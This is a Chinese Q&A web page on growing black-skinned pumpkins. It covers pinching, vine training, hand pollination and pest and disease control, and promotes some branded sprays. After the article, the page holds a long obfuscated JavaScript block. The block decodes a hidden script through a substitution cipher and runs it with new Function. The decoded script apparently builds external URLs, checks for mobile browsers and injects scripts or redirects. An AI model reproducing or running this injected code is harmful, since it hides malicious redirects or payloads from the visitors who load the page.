黑皮南瓜的种植技术,栽培方法,管理及病虫害防治?

2025-03-28 21:40:33
推荐回答(1个)
回答1:

  南瓜出苗后,用深松尺在垄沟深松25~30cm深。起到防寒、增温、松土、除草、蓄水、保墒,防病、减轻风蚀、水蚀的作用。长到3~4片叶时进行中耕培土。
  定芯(摘芯)  南瓜长至四片复叶期,人工定芯(又叫打顶)在上午5~10时,下午的3~7时,人工将南瓜的生长点摘掉。要摘除彻底又不能伤及第四片叶。尽量避开中午的高温期以免南瓜失水过多影响生长,定芯时间在6月10~25日。  打蔓及领蔓  定芯以后白瓜籽自第一、二、三、四节的叶腋中生长出子蔓,打掉第一、二节上的子蔓,越早越好,防止一、二子蔓长得过大影响三、四子蔓。留下第三、四节上的子蔓继续生长。待三、四子蔓长至35~50cm长度时,人工领蔓(顺蔓),将两条子蔓引向主栽垄的两侧,顺着垄成20°~30°角方向引领。各株间领蔓的方向要一致,以免相互交叉影响生长。
  人工授粉  瓜蔓生长以后,第一条子蔓长至第七节,四条子蔓长至第九节时一般生出第一个雌花,雌花瓣展开后,雌蕊柱头便可接授花粉(雄蕊花粉)受精。此时每天的早5~9时深入田间人工摘取刚刚开放的雄花花芯(雄蕊的花粉棒)轻轻的与雌蕊接触磨擦,使花粉粘附在雌蕊柱头上。每个雄花蕊只能粘附2~3个雌蕊。一定要选择在每天的上午5~9时,因为此时是雌雄蕊生长最旺盛的时段,授精率高,生命力强。每个雌蕊连续接授花粉两天,即可达到100%授孕。
  压蔓  雌花人工授粉以后,花瓣开始萎蔫闭合,证明已经授孕。在每个瓜的前一节上压上一小堆土,让子蔓与地面紧密接触,长出次生根,供给子蔓水分和养分。压蔓时注意,最好将瓜留在垄顶上或堆起个小土堆,将瓜留在上面,防止后期雨水过多出现病害导致烂瓜。
  摘掉两条子蔓生长点  每个子蔓结瓜后,在瓜后留四片叶,然后将瓜顶端生长点摘掉,保证有充足的水分、养分供给而不流失。
  打掉孙蔓  当两条子蔓摘心以后,便会生长多条孙蔓,此时要长时间在田内观察,发现所有的孙蔓生出,立即打掉。在摘除孙蔓时不能伤及子蔓。一般用剪刀剪蔓效果较好。决不能让孙蔓生长过长,那会严重影响南瓜产量,而且还会产生落果现象。
  锄净杂草  目前南瓜化学除草药剂不多,除阔叶杂草的药剂更少,而且应用后或多或少都会形成要害,建议不使用阔叶除草剂,采用人工除草。
  病虫害防治
  小南瓜的病害以白粉病和病毒病为主,其中白粉病的危害最大。虫害主要有蚜虫、潜叶蝇和螨类等。
  (1)病毒病防治
  ①选用抗病力高的品种。
  ②种子处理,使用“澳洛珈”海藻精500倍液或按种子与“海状元”海藻微生物菌肥1∶10比例进行拌种。
  ③定期喷施“海状元818”植物卫士800倍液+“海状元818”稀土钙800倍液,以钝化毒源,减轻发病。
  ④加强蚜虫和甲虫的防治,以减少虫媒传毒。
  ⑤发病初期及时清除、烧毁病株,用“海状元818”菌毒煞500倍液+“海状元818”稀土钙600倍液+“海状元818”花果丰800倍液,3-4天一次,连喷2-3次。
  (2)白粉病防治
  白粉病的发生与施氮水平有一定的相关性,因此,要增施有机肥,合理搭配使用N、P、K无机肥,在封行后,尤其是中后期和开春气温回升后,更应注意防止重施氮肥。
  发病初期,可用“海状元818”植物卫士800倍液+15%粉锈宁(三唑酮)可湿性粉剂1500倍液或45%超微粒硫磺胶悬液150-300倍液或73%特速唑可湿性粉剂1000-1500倍液交替喷施。
  喷药时要叶面叶背一起喷,才能把病菌杀死;大水量喷,该病菌遇水或湿度饱和时,易吸水破裂而死亡;持续用药,白粉病的药剂防治要持续进行,充分杀死残留的菌丝体及分生孢子,防止再流行,一般第一次喷药后每隔4-5天喷一次,连续喷2-3次。
  (3)虫害防治
  蚜虫、蓟马用蚍虫啉类杀虫剂防治;美洲斑潜蝇、螨类用阿维菌素类生物农药进行防治。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();